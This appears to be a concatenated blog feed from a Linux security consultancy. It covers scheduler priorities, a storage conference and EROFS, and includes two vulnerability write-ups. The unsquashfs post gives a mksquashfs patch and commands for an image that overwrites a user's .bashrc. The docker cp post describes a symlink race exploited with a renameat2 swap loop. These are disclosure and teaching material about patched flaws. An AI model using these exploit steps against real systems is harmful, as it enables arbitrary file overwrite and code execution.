One might wonder how all these policies relate to each other since they can be mixed on the same system. The Linux CPU scheduler consists of five decision algorithms that select tasks, they get executed in the following order.

Decision algorithms for task selection in Linux CPU scheduler and their order

1. Stop-Task: This algorithm can only be used by one internal kernel thread to shut down a given CPU. The sole purpose is to preempt the tasks of a given CPU before it can be shut down.

2. Deadline: It implements the user visible SCHED_DEADLINE policy. If a SCHED_DEADLINE thread is present on the system it will run before all other user visible threads, always.

3. Realtime: SCHED_FIFO and SCHED_RR policies are implemented here. So realtime threads always run before regular tasks and right after SCHED_DEADLINE threads, if present.

4. Fair (best known as CFS): CFS implements SCHED_OTHER, SCHED_BATCH and SCHED_IDLE. Most threads present on a system are handled by this algorithm.

5. Idle: If no algorithm finds a runnable thread the idle algorithm schedules the idle task on the CPU. The idle task is always runnable and puts the CPU in idle mode.

With this knowledge of scheduling policies we can answer the second sub-question. SCHED_OTHER has a priority between 19 and -20, where 19 is the lowest and -20 the highest. SCHED_FIFO and SCHED_RR threads use a priority between 1 and 99, where 1 is the lowest. Internally SCHED_IDLE and SCHED_BATCH tasks have a nice value too, but the scheduling algorithm does not honour it. Don’t get confused when a tool reports a nice value for SCHED_BATCH or SCHED_IDLE.

The ps tool is powerful and allows us to query this information. For example: ps axHo pid,lwp,comm,policy,nice,rtprio.

So we ask ps for a full list of all threads on the system, as well as their process id, thread id, short name, scheduling policy, nice value and realtime-priority.

ps reports SCHED_DEADLINE as DLN, SCHED_OTHER as TS, SCHED_BATCH as B, SCHED_IDLE as IDL, SCHED_FIFO as FF and SCHED_RR as RR.

Dealing with different priority representations

So far we saw that priorities of type nice range from 19 to -20 and realtime from 1 to 99. These are the ranges you can always expect from process tools like ps.

Things get complicated when raw kernel interfaces are used or kernel internal data is analyzed. You’ll face such situations when developing your own tools or using Linux’s kernel instrumentation facilities.

getpriority() system call

A prominent example is the getpriority() system call. It returns the nice value of a thread. If used in C, it will return an integer between -20 and 19 which is the expected nice value, but only if the C library performs a fixup. The raw kernel system call will return a shifted value within the range 1 to 40. The reason behind the shift is Linux’s system call ABI. Negative return values represent error numbers. So if your application uses system calls directly without a libc, this might be confusing.

shifted value	nice value
1	-20
..	..
21	0
..	..
40	19

Using this system call makes only sense if the current scheduling policy is SCHED_OTHER. For all other policies the returned priority is meaningless.

Unified priorities

When you work with kernel instrumentation tools such as ftrace you will encounter the deep internals of Linux. Developers commonly use Linux’s sched_switch trace point to see which task is picked by the CPU scheduler. ftrace will report a line like this one:

[002] d... 565635.368831: sched_switch: prev_comm=kworker/u8:2 prev_pid=891 prev_prio=120 prev_state=R+ ==> next_comm=kworker/u9:4 next_pid=983 next_prio=100

We observe that the scheduler on CPU 2 schedules from PID 891 to PID 983. Please note that the PID in this context is not a process id as userspace would expect - it is in fact a thread id. Within the kernel, PID is the thread id. What userspace gets via the getpid() system call is actually the thread group id.

The alert reader will notice that this trace point has more than just the PID, it also shows the priorities of both tasks. However, they don’t make sense: prev_prio is 120 and next_prio is 100. Neither are in the range of a nice level or a real time priority. Additionally, the trace point does not indicate what scheduling policy is being used.

To decipher these values we need to know that Linux internally uses a unified priority among all scheduling policies.

It ranges from -1 to 139, where -1 is the highest and 139 the lowest priority. The unified priority is calcualted as table shows:

policy	specific priority	unified priority
DEADLINE	-	-1
RR/FIFO	99	0
RR/FIFO	98	1
..	..	..
RR/FIFO	1	98
OTHER	-20	100
..	..	..
OTHER	0	120
..	..	..
OTHER	19	139

With this information we can translate prev_prio to a nice value of 0, and next_prio to a nice value of -20.

A common pitfall when working with real time applications is to confuse real time priorities from kernel internals and reported by user space tools. Both are in the same range but reversed.

Attentive readers will notice that unified priority 99 is not claimed by any policy. This is an inconsistency within the Linux scheduling code and as of writing (v5.17-rc3) still present.

proc filesystem

The proc filesystem is the source of all process information tools such as ps display. For each thread it offers a stat file which contains, beside many other statisticts, all stats about the scheduling policy.

To learn the priority of a task, the 18th and 19th field of /proc/<pid>/task/<tid>/stat is of interest. If a task has the scheduling policy SCHED_OTHER the 19th field is non-zero and exhibits the nice value.

The 18th field is more generic and exposes the unified priority of a task, but shifted by -100.

shifted value	unified priority
-101	-1
-100	0
..	..
-51	49
..	..
39	139

Executive summary

• CPU scheduler decisions affect threads, not processes.
• Each thread has a scheduling class, either SCHED_DEADLINE, SCHED_OTHER, SCHED_BATCH, SCHED_IDLE, SCHED_FIFO or SCHED_RR.
• Scheduling classes SCHED_OTHER, SCHED_FIFO and SCHED_RR allow priorities.
• SCHED_OTHER priority is the so-called nice value, ranging from -20 to 19.
• SCHED_FIFO and SCHED_RR support priorities between 1 and 99.
• Raw kernel interfaces and instrumentation facilities expose a unified priority, often in a normalised/shifted way. Here be dragons.

]]>https://sigma-star.at/blog/2022/01/re-exploiting-unsquashfs/Mon, 10 Jan 2022 00:00:00 +0100Aaron MarcherRichard Weinbergerhttps://sigma-star.at/blog/2022/01/re-exploiting-unsquashfs/Re-exploiting unsquashfs

Squashfs is a compressed read-only filesystem for Linux that is commonly used on embedded systems, rescue systems or similar cases. The squashfs-tools package provides a set of userspace tools to create, modify and unpack squashfs image files. Prominent among security researchers is the unsquashfs tool which extracts a squashfs image to specified path.

In 2021 commit 79b5a555058e (“Unsquashfs: fix write outside destination directory exploit”) introduced a fix for unsquashfs that intends to fix vulnerability CVE-2021-40153: A specially crafted filesystem could trick the unsquashfs tool to overwrite arbitrary files.

]]>Re-exploiting unsquashfs

Squashfs is a compressed read-only filesystem for Linux that is commonly used on embedded systems, rescue systems or similar cases. The squashfs-tools package provides a set of userspace tools to create, modify and unpack squashfs image files. Prominent among security researchers is the unsquashfs tool which extracts a squashfs image to specified path.

In 2021 commit 79b5a555058e (“Unsquashfs: fix write outside destination directory exploit”) introduced a fix for unsquashfs that intends to fix vulnerability CVE-2021-40153: A specially crafted filesystem could trick the unsquashfs tool to overwrite arbitrary files.

This fix however, missed an important part, which allows practically the same exploit in another way. This vulnerability is identified as CVE-2021-41072.

Vulnerabilities of this sort are especially problematic since unsquashfs is widely used among security researchers to analyze the firmware of embedded systems. A carefully crafted squashfs will work perfectly fine when mounting in Linux but can overwrite files when unpacking and thus compromise the system of the security researcher.

Let’s do it again

Let’s take a closer look at how CVE-2021-40153 was fixed and how we can bypass this fix for CVE-2021-41072:

Squashfs stores the filename in the directory entry, which unsquashfs uses to create the new file while unpacking. However, unsquashfs did not validate the filename for directory traversal outside the destination before commit 79b5a555058e. A specially crafted squashfs image could thus write to locations outside the target directory, such as /etc/crontab when unpacked with unsquashfs. This in turn could lead to code execution.

The fix for CVE-2021-40153 validates that no file in a squashfs image may contain slashes nor a dot-dot sequence (..) which makes it impossible to have filenames that point outside the target directory.

But there is another way to break outside the target directory while unsquashing: Using good old symlinks!

First, we notice that unsquashfs has no check whether a directory already contains multiple directory entries with the same name. We can thus craft a valid filesystem with multiple identically named files in the same directory. During unpacking, unsquashfs will just overwrite the contents of the existing file.

When we combine this so that we first create a symlink which points outside the target directory, we can then overwrite this target file’s contents with the identically named regular file in the squashfs image. This works, because unsquashfs will just follow the symlink it created.

Exploiting the issue

So, let’s create a new squashfs filesystem that contains a symlink with the name a-symlink.txt that points to the user’s .bashrc. In the next step, we will patch mksquashfs such that it will create a crafted filesystem where a-symlink.txt is both, a symlink and a regular file:

diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
index 127df00fb789..d9ea11a5e175 100644
--- a/squashfs-tools/mksquashfs.c
+++ b/squashfs-tools/mksquashfs.c
@@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
	struct squashfs_dir_entry idir;
	unsigned int start_block = inode >> 16;
	unsigned int offset = inode & 0xffff;
-       unsigned int size = strlen(name);
+       unsigned int size;
	size_t name_off = offsetof(struct squashfs_dir_entry, name);

+       if (strcmp(name, "z-payload.txt") == 0)
+               name = "a-symlink.txt";
+
+       size = strlen(name);
	if(size > SQUASHFS_NAME_LEN) {
		size = SQUASHFS_NAME_LEN;
		ERROR("Filename is greater than %d characters, truncating! ..."

Create a filesystem that will include z-payload.txt (which can be a hostile script) as a-symlink.txt:

$ ln -s ../.bashrc a-symlink.txt
$ echo "echo Whooops!" > z-payload.txt
$ mksquashfs.patched . ../image.sfs

Now we have a filesystem with two identical file names in the same directory. One a-symlink.txt is a symlink that points to ../.bashrc, the other one is a regular file which contains the text echo Whooops!.

Squashfs directory entries have an order and are usually sorted. This is why our evil a-symlink.txt has z-payload.txt as original name, that way we ensure that unsquashfs first creates the symlink and later writes the regular file.

To make the exploit more flexible, the crafted image can even contain a whole series of ../.bashrc target paths with different path depths. This way, the path is determined automatically. In this example we will add only one symlink to keep it simple.

When Linux mounts the crafted filesystem, it reports no error. It just lists the a-symlink.txt symlink twice:

$ mount -o loop ../image.sfs /mnt/
$ ls -l /mnt/
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -> ../.bashrc
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -> ../.bashrc

But when unsquashing, it overwrites the bashrc in the user’s home directory (given unsquashfs is executed one directory layer below $HOME in this example):

$ pwd
/home/user/directory
$ unsquashfs -d destination/ ../image.sfs

On next login, our message will appear when the shell follows the symlink written over the user’s bashrc (and thus parses our z-payload.txt contents):

Whooops!
$

Exploit successful!

Mitigating the problem

Commit e0485802ec72 (“Unsquashfs: additional write outside destination directory exploit fix”) fixes CVE-2021-41072.

It does so by explicitly checking for duplicate filenames within a directory by using sorted directories in v2.1, v3.x and v4.0 filesystems and checking for consecutively identical filenames. Additionally, it ensures sorted directories for v1.x and v2.0 filesystems (no native sorting available), by manually sorting first.

]]>https://sigma-star.at/blog/2021/11/alpss-2021/Sat, 20 Nov 2021 00:00:00 +0100David GstirRichard Weinbergerhttps://sigma-star.at/blog/2021/11/alpss-2021/Alpine Linux Persistence and Storage Summit 2021

The Alpine Linux Persistence and Storage Summit (ALPSS) was back this year in October. Again, the program committee consisting of Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger did a great job in organizing the get-together of the Linux Kernel Storage community. Like previous times, it took place at Lizumer Hütte (roughly 2000m altitude!) in the Tuxer Alps in Tyrol, Austria.

Day 1: Pizza and Hiking

The conference started on Tuesday with a nice pre-conference lunch (Pizza) in Innsbruck. Afterward, we took Taxis to Lager Walchen in the Wattental. Then it was time for everybody to put on their rain-proof hiking gear and shoulder the rucksacks. We hiked up the Zirbenweg to the Lizumer Hütte, a small path with some nice views for taking photos. After some sweating and puffing, we arrived there roughly two hours later and were greeted by the lodge-keeper with great food and drinks.

]]>Alpine Linux Persistence and Storage Summit 2021

The Alpine Linux Persistence and Storage Summit (ALPSS) was back this year in October. Again, the program committee consisting of Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger did a great job in organizing the get-together of the Linux Kernel Storage community. Like previous times, it took place at Lizumer Hütte (roughly 2000m altitude!) in the Tuxer Alps in Tyrol, Austria.

Day 1: Pizza and Hiking

The conference started on Tuesday with a nice pre-conference lunch (Pizza) in Innsbruck. Afterward, we took Taxis to Lager Walchen in the Wattental. Then it was time for everybody to put on their rain-proof hiking gear and shoulder the rucksacks. We hiked up the Zirbenweg to the Lizumer Hütte, a small path with some nice views for taking photos. After some sweating and puffing, we arrived there roughly two hours later and were greeted by the lodge-keeper with great food and drinks.

Day 2: Storage mixed with Snow

The next day started with a lot of snow, a joint breakfast in the cozy common room, and of course the first talks. First off were Joel Colledge and Philipp Reisner from LINBIT with their talk on performance optimizations in the Distributed Replicated Storage System (DRDB). They showcased areas of DRDB where they have done or plan to do performance improvements. One area directed to more exotic storage hardware like Persistent memory (PMEM), and three general optimizations.

They were followed by Richard Weinberger with a talk about his side project MUSE. MUSE enables emulating Memory Technology Devices (MTD) in userspace using the FUSE interface. Until now we already had nandsim (CONFIG_MTD_NAND_NANDSIM) to emulate NAND chips, but MUSE gives a much more flexible and hackable approach. It also supports SPI NOR and other types of flash storage. This is especially helpful for us at sigma star gmbh when debugging NAND, MTD, or UBIFS issues for our customers. (Hint: keep a lookout for a future, dedicated post about MUSE here at the sigma star blog).

While it was still snowing heavily outside, we continued with two short talks by Hannes Reinecke from SUSE on NVMe over Fabrics in-band authentication and NVMe userspace events and interaction. Especially the talk on in-band authentication was truly interesting. Hannes explained how the NVMe 2.0 specification describes an authentication approach over TCP and how he implemented it for the Linux Kernel. This spiked some discussion since the approach seems to reinvent the wheel as it is very similar to TLS 1.3. More to the point, it is simply an ephemeral Diffie-Hellman exchange that results in a shared session key. According to Hannes, this session key is then not used any further, unless one also uses NVMe encryption, which is just plain TLS 1.3. The conclusion among the participants of ALPSS was that the current specification should probably be improved before it is ready for wider use.

After a short tea break (and more snow), we continued with two talks by Damien Le Moal from Western Digital on command duration limits and Multi-actuator HDDs. In his first talk, Damien described his experiments with high throughput while still minimizing command execution latency. He showed a more general approach called Command Duration Limits (CDL) which expands on the ATA NCQ IO priority feature common to many SATA hard disks. Where ATA NCQ IO priority is only available via ATA, CDL is usable for both ATA and SCSI. The general idea of CDL is to augment disk commands with time limits and a policy on what to do if any limit is exceeded. In his second talk, Damien showcased his findings on the performance of varying payloads on Multi-actuator HDDs.

Since it was still snowing a lot, hiking was canceled and the afternoon continued with BoFs and discussions on a multitude of storage topics. The evening concluded with great food, drinks, and loads of socializing.

Day 3: More Storage

The third day started with a presentation from Matias Bjørling on the current state of Zoned Namespace SSDs on Linux followed by a discussion about what kind of applications can benefit from ZNS. Right afterward, John Meneghini gave insights into his work on a technical proposal to improve NVMe abort (TP-4097). The presentation was closed by a lengthy discussion about whether an abort command should be executed on the admin queue or not.

After a short coffee break to finally wake up, Dennis Maisenbacher presented a novel approach to implementing a Flash Translation Layer (FTL) on top of zoned devices using a Linux device-mapper driver, DM-zap. Various developers in the audience got confused by the usage of the word block on his slides. A block can be seen as a 512b/4k sector unit of a hard disk or an erase block of a flash-based device. In the end, everyone agreed that Dennis had the best ASCII art graphics of all presenters so far. ;-) The next talk focused also on zoned devices. Christoph Hellwig showed his work on a virtual block device that allows random access to zones. The device format is log-structured and makes use of Log-Structured Merge (LSM) trees. During the break, Christoph did a demo of XFS running on top of his log-structured disk.

Keith Busch gave insights into his recent proposal on RAID support for zoned devices. A short discussion emerged whether it is good or not to utilize the page cache for this. Johannes Thumshirn closed the session with his idea on declustered parity RAID support on btrfs. This RAID mode allows arbitrarily sided disks in a RAID system.

With the weather still being bad, most attendees stayed inside and enjoyed the surprisingly well-working internet connection of the lodge. After another excellent dinner, various discussions emerged and ended not seldom in heated debates.

Finally, Hans Holmberg offered two bottles of excellent Champagner he carried himself up to the lodge to celebrate our long-awaited meetup.

Day 4: Back down and Farewells

The last day of ALPSS concluded with a last joint breakfast, packing rucksacks, and hiking back to the base. This time we took the road down to Lager Walchen which made the hike down a bit quicker and especially safer when there is snow. With everybody safe back in the valley, we said our farewells and made our way back home.

Like every time, ALPSS was a great mix of in-depth, to-the-point talks and discussions on the latest in Linux Storage and the breathtaking scenery of the Tyrolean Alps.

]]>https://sigma-star.at/blog/2021/09/security-for-startups/Tue, 14 Sep 2021 00:00:00 +0200Thomas Dierlhttps://sigma-star.at/blog/2021/09/security-for-startups/<h1 id="how-to-integrate-security-in-it-startups">How to integrate security in IT Startups</h1> <p>IT Startup companies often aim at building a minimal viable product as fast as possible to reduce costs. They just forget one thing: a strategy like that can be costly later on. Especially if the security part was dismissed in the development phase. If a Startup invests some money into security right from the scratch, the costs will be much lower in the end. Why? And what is our strategy to build security in IT Startup companies? Find out more in the following lines.</p>How to integrate security in IT Startups

IT Startup companies often aim at building a minimal viable product as fast as possible to reduce costs. They just forget one thing: a strategy like that can be costly later on. Especially if the security part was dismissed in the development phase. If a Startup invests some money into security right from the scratch, the costs will be much lower in the end. Why? And what is our strategy to build security in IT Startup companies? Find out more in the following lines.

IT security: a brief history

Over the last 20+ years IT security changed a lot. In the 1990s, it was only a topic for operation system vendors and virus scanning software. But in the early 00 years malware and malicious software started to attack specific applications. From that point on security needed to be an integral part of software development. The goal was clear: avoid misuses from malicious software and malware. They can easily lead to data breaches and data losses, as well as reputational damage, which is fatal for a Startup.

Examples for a lack of security in IT products

There are a lot of examples for such security breaches in software:

• Smart Security Cameras
• Doorbells
• Smart TVs
• Smart Bulbs
• Coffee Machines

Implementation of the security

Security is everywhere. So it is not just a switch that needs to be turned on, or a final security test. As the examples show, security needs to be in every part of the software product, such as

• the software itself
• data layer
• cloud layer
• network layer
• deployment layer

As a result, security needs to be integrated in the whole software development process - which means that every phase of the software development is affected, from requirements to maintenance. Furthermore, the team needs to be trained to have the security aspects in mind during the whole process.

The importance of security implementation in the beginning

In many cases - as the examples above have shown - security is not in the focus of software projects at all. High costs are the consequence. For big companies that would be tremendous. For Startups it can be more grave: in the worst case it means to go bankrupt because of such an issue.

Our recommendation: Mind security right from the beginning.

Fixing security issues: costs

The earlier an issue is discovered the cheaper it can be fixed. If an issue is found in the design phase it is relatively convenient to fix it. If the lack of security is not fixed, the costs to overhaul it in production can be up to 100 times more. That makes clear that the later an issue is found the more problems can arise.

Security in IT Startups: the sigma star approach

Our special offer for Startups is to implement security right from the beginning. How that works? We bring an experienced sigma star security engineer into your team. He will train the developers and ensures that security is governed at every phase of the development life cycle of the new product. The alternative would be to employ many experienced developers and engineers for all necessary tasks which is very costly over all. To have a security specialist joining the team allows the other team members to focus on their main tasks: the development and evolution of the product itself.

Advantages in a nutshell

• reduced costs
• team members can focus on their core job
• security built into the product
• as we share our knowledge your team gets better at security topics over time and can finally go on their own

You have a Startup and need support with security issues? Feel free to contact us. The earlier, the better.

]]>https://sigma-star.at/blog/2021/09/yocto-erofs/Thu, 09 Sep 2021 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2021/09/yocto-erofs/Enhanced Read-Only File System (EROFS) lands in Yocto

The upcoming Yocto 3.4 release will contain a small contribution by us. Over the last two years we learned to love EROFS, so we decided to add support for it to Yocto (commit).

Usually when one wants a compressed read-only filesystem for Linux, squashfs is a good choice. It has been around since almost two decades and offers a wide range if different compression algorithms.

]]>Enhanced Read-Only File System (EROFS) lands in Yocto

The upcoming Yocto 3.4 release will contain a small contribution by us. Over the last two years we learned to love EROFS, so we decided to add support for it to Yocto (commit).

Usually when one wants a compressed read-only filesystem for Linux, squashfs is a good choice. It has been around since almost two decades and offers a wide range if different compression algorithms.

Starting with version 5.4, Linux supports a new filesystem that is optimized for compression and read-only storage, EROFS. Compared to squashfs it offers novel techniques such as fixed output size compression and avoids usage of buffer heads. This yields better read throughput with comparable compression ratio. We will post another write-up soon which compares squashfs and EROFS in detail.

EROFS currently supports three compression algorithms, none, lz4 and lz4hc. When EROFS is used as target filesystem in Yocto, one of these has to be selected, just like for squashfs. Just extend the IMAGE_FSTYPES variable with either erofs, erofs-lz4 or erofs-lz4hc. The resulting filesystem image file can be used just like a squashfs image on top of any block device.

Don’t forget to enable EROFS in your kernel config, though! Set at least CONFIG_EROFS_FS and CONFIG_EROFS_FS_ZIP in your kernel configuration.

Enjoy!

]]>https://sigma-star.at/blog/2021/08/docker-embedded-rootfs/Tue, 10 Aug 2021 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2021/08/docker-embedded-rootfs/<h1 id="docker-to-the-rescue-in-an-unexpected-way">Docker to the rescue in an unexpected way</h1> <p>Imagine you find yourself in a restricted environment and you need some Linux rootfs that runs on the embedded system you just managed get access to. Of course the CPU architecture of the embedded system is not the same as your workstation. The circumstances are further complicated by the fact that the userspace should offer enough tooling to build a C/C++ application. In such a situation docker can help, but in an unexpected way.</p>Docker to the rescue in an unexpected way

Imagine you find yourself in a restricted environment and you need some Linux rootfs that runs on the embedded system you just managed get access to. Of course the CPU architecture of the embedded system is not the same as your workstation. The circumstances are further complicated by the fact that the userspace should offer enough tooling to build a C/C++ application. In such a situation docker can help, but in an unexpected way.

Common solutions to deal with such a situation include manually bootstrapping a Linux distribution, installing it in an emulator such as QEMU, building a rootfs from scratch or trying to cross build the targeted application. In any case, there is huge potential to waste a full day or more.

Here, rescue comes in form of docker. Actually the great service to the community by major Linux distributions, docker just offers the tooling. Especially Debian supports a wide range of CPU architectures. So let’s ask docker to pull a Debian image for the desired architecture and instead of starting a container we export the image to use it on the target device.

In this example, Debian stable built for arm32v7 turned out to be useful. Other useful images to deal with embedded systems are arm32v5/debian, arm64v8/debian or riscv64/debian. Linux distributions such as Fedora also offer root filesystems for various CPU architectures.

docker image pull arm32v7/debian:stable 
docker image save arm32v7/debian:stable | tar --wildcards --to-stdout -xf - "*/layer.tar" | tar xf - -C myroot/

After transferring myroot/ to the device and a few apt-get commands the application could be compiled and run.

• Is it an ugly hack? Of course!
• Is it unorthodox? True!
• Are there better/other ways? Sure!
• Can it save a lot of time? YES!

There is one drawback to consider: these root filesystems usually come without an init system such as SysV init or systemd. If you plan to boot from it, better ask Linux to directly start into a shell using init=/bin/sh.

]]>https://sigma-star.at/blog/2021/07/docker_cve-2018-15664/Fri, 30 Jul 2021 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2021/07/docker_cve-2018-15664/<h1 id="the-condemned-live-longer-symlink-races">The condemned live longer: Symlink races</h1> <p>Symlink race vulnerabilities are common issues we encounter while performing code audits. One might think that such bugs should not happen anymore and every developer can easily avoid them - sadly the reality is different. In this blog post, we will have a closer look at a symlink race vulnerability from 2018 in docker. We think the vulnerability is quite interesting since it is easy to exploit but not so obvious to note while reviewing. Attentive readers may ask themselves whether they’d have noticed the issue while developing or reviewing the affected lines of code.</p>The condemned live longer: Symlink races

Symlink race vulnerabilities are common issues we encounter while performing code audits. One might think that such bugs should not happen anymore and every developer can easily avoid them - sadly the reality is different. In this blog post, we will have a closer look at a symlink race vulnerability from 2018 in docker. We think the vulnerability is quite interesting since it is easy to exploit but not so obvious to note while reviewing. Attentive readers may ask themselves whether they’d have noticed the issue while developing or reviewing the affected lines of code.

Due to their time-dependent nature, they are not always easy to exploit and therefore remain underrated. On the other hand, sometimes they are exploitable with surprisingly little effort. One of these bugs is the docker vulnerability CVE-2018-15664 from 2018.

Overview

docker offers a way to copy files from/to a container. The basic syntax of the copy tool is:

docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|-
docker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH

So to update the container’s /etc/passwd file, a system administrator can execute a command such as:

docker cp new_passwd ea7d702924bc:/etc/passwd

Where ea7d702924bc is the container ID.

Internally, docker cp shifts execution to the docker daemon which runs as root. The daemon will resolve the path to the actual host path of the docker storage. ea7d702924bc:/etc/passwd would resolve to /var/lib/docker/btrfs/subvolumes/6383eed3/etc/passwd

Where /var/lib/docker/btrfs/subvolumes/6383eed3 is the root directory from the container point of view. Depending on the type of docker storage, the path might be different. In this example, we used btrfs subvolumes as storage. For better illustration, please read BASEDIR as /var/lib/docker/btrfs/subvolumes/6383eed3 from now on.

Things get interesting when symlinks are involved. Let’s assume that within the container, /etc/ is a symlink pointing to /. The docker daemon will determine that the last path component of BASEDIR/etc is a symlink. Simply following the symlink is not allowed: It would redirect to /, in this context, the host filesystem root. So docker reads the contents of the symlink and applies it to the base directory of the container. The final path is BASEDIR/.

Therefore the passwd file will land in the container root directly instead of /etc/. This is expected and nothing to worry about.

Under the hood

To ensure that all file operations run within the container filesystem, docker sets up a new mount namespace. The interesting steps are:

1. Resolving the container path, including symlink check and sanitizing
2. Creating a new process with a new mount namespace
3. Sanitizing the new mount namespace with pivot_root() so that the root directory is within the container root
4. Performing the file operation relative to /.

So, a simplified sequence of executed system calls could be:

[pid  1724] lstat("BASEDIR/etc", {st_mode=S_IFLNK|0777, st_size=1, ...}) = 0
[pid  1724] readlinkat(AT_FDCWD, "BASEDIR/etc", "/", 128) = 1
[pid  1724] lstat("BASEDIR", {st_mode=S_IFDIR|0755, st_size=206, ...}) = 0
[pid  1724] fork() = 21681
[pid 21681] unshare(CLONE_NEWNS)
[pid 21681] mkdirat(AT_FDCWD, "BASEDIR/.pivot_root918928353", 0700) = 0
[pid 21681] pivot_root("BASEDIR", "BASEDIR/.pivot_root918928353") = 0
[pid 21681] chdir("/")                  = 0
[pid 21681] mount("", "/.pivot_root918928353", 0xc420246fd3, MS_REC|MS_PRIVATE, NULL) = 0
[pid 21681] umount2("/.pivot_root918928353", MNT_DETACH) = 0
[pid 21681] unlinkat(AT_FDCWD, "/.pivot_root918928353", AT_REMOVEDIR) = 0
[pid 21681] openat(AT_FDCWD, "/passwd", O_WRONLY|O_CREAT|O_CLOEXEC, 0644) = 6

We observe that docker assumes that the sanitized path cannot change while it is working on it. That’s where the root of the problem lies. Consider that /etc within the container is not a symlink at the time of the check but it is changed to a symlink pointing to / right before mkdirat().

Under this assumption the system call sequence could be:

[pid 15509] lstat("BASEDIR/etc", {st_mode=S_IFDIR|0755, st_size=18, ...}) = 0
[pid 15509] fork() = 21630
[pid 21630] unshare(CLONE_NEWNS)
[pid 21630] mkdirat(AT_FDCWD, "BASEDIR/etc/.pivot_root447772558", 0700) = 0
[pid 21630] pivot_root("BASEDIR/etc/", "BASEDIR/etc/.pivot_root447772558") = 0
[pid 21630] chdir("/")                  = 0
[pid 21630] mount("", "/.pivot_root447772558", 0xc4208981ed, MS_REC|MS_PRIVATE, NULL) = 0
[pid 21630] umount2("/.pivot_root447772558", MNT_DETACH) = 0
[pid 21630] unlinkat(AT_FDCWD, "/.pivot_root447772558", AT_REMOVEDIR) = 0
[pid 21630] openat(AT_FDCWD, "/passwd", O_WRONLY|O_CREAT|O_CLOEXEC, 0644) = 6

If etc is suddenly a symlink to /, the kernel will resolve BASEDIR/etc/ to / in mkdirat() and pivot_root(). The same applies to BASEDIR/etc/.pivot_root447772558 - it will turn into /.pivot_root447772558. This makes the pivot_root() operation basically a no-op since we switched the host root filesystem to /.pivot_root447772558 and back again.

As soon as docker opens /passwd inside the new mount namespace, it will be the host filesystem instead of the root of the targeted container.

Exploiting the problem

In the attack scenario, the attacker has control over a container and can execute code inside of it. He knows that the system administrator either uses docker cp manually or automatically to copy a file into the container.

We saw that docker assumes that the path cannot change while the copy operation is running and that we can get access to the host filesystem if we manage to trick docker by presenting a directory at check time and later a symlink at use time. Hitting exactly the right times to present either a directory or a symlink might sound hard to achieve. There is a simpler approach: a brute force attack. We don’t care if the majority of all tries don’t work, as long as one works.

So we create two files, /etc being a directory and /etc.sym being a symlink to /. To apply the brute force attack /etc and /etc.sym filenames are exchanged forever. At any point in time /etc is either a directory or a symlink to /. To achieve that, we use Linux’s renameat2() system call.

The exploit is basically a program performing

renameat2(AT_FDCWD, "/etc", AT_FDCWD, "/etc.sym", RENAME_EXCHANGE);

in a loop.

The crucial points in time are:

• T1: the time of the path being checked
• T2: the point when mkdirat() runs to create the pivot directory
• T3: when pivot_root() takes place

/etc within the container can either be in state D being a directory or in state S being a symlink. So we have three points in time, which can be in two states. To sum it up: there are eight possible attack states our brute force exploit can trigger. We already know that the attack can only be successful if /etc/ is a directory at check time and then a symlink. Therefore only attack state A4 will lead to success.

This rough estimation shows that one-eighth of all attacks are successful. Not too bad for a brute force attack. Please note that this is just an estimation that leaves out some details. It does not take into consideration, for example, that the time difference between T1 and T2 is large since execution spawns over two processes, while the time between T2 and T3 is minimal since both execution points are in the same process and successive. So hitting the race between T1 and T2 is much more likely than between T2 and T3.

Let’s take a deeper look at the state in which the attack is not successful. We distinguish two types of failures:

• unnoticed failures
• noticed failures

For example, if at time of mkdirat() etc is a symlink and later at pivot_root() again a directory, pivot_root() will fail and docker cp reports an error.

	A1	A2	A3	A4	A5	A6	A7	A8
T1	D	D	D	D	S	S	S	S
T2	D	D	S	S	S	S	D	D
T3	D	S	D	S	S	D	S	D
	U	E	E	X	U	U	U	U

D ... etc is a directory
S ... etc is a symlink

U ... attack unsuccessful, unnoticed
E ... attack unsuccessful, errors reported
X ... exploited!

Impact

Under optimal circumstances, an attacker within a container can overwrite any file on the host side. On the other hand, the attacker needs to know which file is being written using docker cp and if the copy operation runs very seldom, the chances to hit the race window are low.

Identifying the attack

In a previous section, we saw that there is a chance that docker cp will fail and report an error. If docker cp runs as part of your automation, check logs for failures - they could indicate an attack. Another possibility to detect ongoing attacks is stale .pivot_rootXXXXXXXX directories on the host side, where XXXXXXXX is a number. If the attacker tries to place a file in the host root filesystem, unsuccessful attacks leave a .pivot_rootXXXXXXXX behind.

Fixing the problem

The currently implemented solution is suspending the container while the copy operation is running. With that, the docker daemon can be sure that nothing inside the container can change paths while it is performing the copy operation. The downside of this approach is that suspending a container is slow and will interrupt workloads.

Final thoughts

Symlink races, or more general TOCTOU (Time-of-Check-to-Time-of-Use) issues, are still a problem and not always obvious. To avoid them while writing code, always ask yourself whether a system resource can change after you did some check on it. Usually, the answer is yes, it can change when the check is performed by your code and not by the operating system. Especially when it comes to checks on filesystem resources such as symlinks. If you are using a high-level programming language, try to understand what operations will be made by it at a system call level. Just because it’s a single operation in your favorite programming language it doesn’t have to be atomic.

References

• https://seclists.org/oss-sec/2019/q2/131
• https://man7.org/linux/man-pages/man7/mount_namespaces.7.html
• https://man7.org/linux/man-pages/man2/setns.2.html
• https://man7.org/linux/man-pages/man2/pivot_root.2.html
• https://man7.org/linux/man-pages/man2/rename.2.html
• https://github.com/moby/moby/pull/39252

]]>https://sigma-star.at/blog/2021/06/who-we-are/Tue, 01 Jun 2021 00:00:00 +0200Thomas Dierlhttps://sigma-star.at/blog/2021/06/who-we-are/Who is sigma star & who is the team?

sigma star gmbh is a IT consulting and development company established in 2011 and located in Innsbruck, Austria. Today it is lead by David Gstir, Richard Weinberger and Thomas Dierl.

what we do…

At sigma star we provide consulting and software engineering services in a multitude of areas. The main ones are security and open source software.

… and how we do it

In all our work we strive for high quality and durable solutions.

]]>Who is sigma star & who is the team?

